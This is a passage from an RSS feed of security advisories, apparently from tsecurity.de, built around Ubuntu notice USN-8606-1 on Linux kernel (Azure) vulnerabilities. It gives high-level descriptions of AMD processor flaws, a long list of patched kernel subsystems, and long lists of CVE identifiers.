CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8606-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:41 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23207, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23226, CVE-2026-23227,
CVE-2026-23228, CVE-2026-23229, CVE-2026-23230, CVE-2026-23233,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23249,
CVE-2026-23253, CVE-2026-23255, CVE-2026-23266, CVE-2026-23267,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23272, CVE-2026-23276,
CVE-2026-23277, CVE-2026-23278, CVE-2026-23279, CVE-2026-23281,
CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292,
CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300,
CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306,
CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312,
CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318,
CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325,
CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336,
CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363,
CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374,
CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387,
CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23428, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458,
CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463,
CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470,
CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391,
CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31402, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31411, CVE-2026-31412, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31436, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440,
CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448,
CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452,
CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476,
CVE-2026-31477, CVE-2026-31478, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31637, CVE-2026-31638,
CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646,
CVE-2026-31648, CVE-2026-31649, CVE-2026-31651, CVE-2026-31655,
CVE-2026-31656, CVE-2026-31657, CVE-2026-31658, CVE-2026-31659,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31668, CVE-2026-31669,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31682,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31685, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31689, CVE-2026-31693, CVE-2026-31694,
CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698,
CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702,
CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707,
CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720,
CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724,
CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729,
CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767,
CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43007, CVE-2026-43011, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43037, CVE-2026-43038,
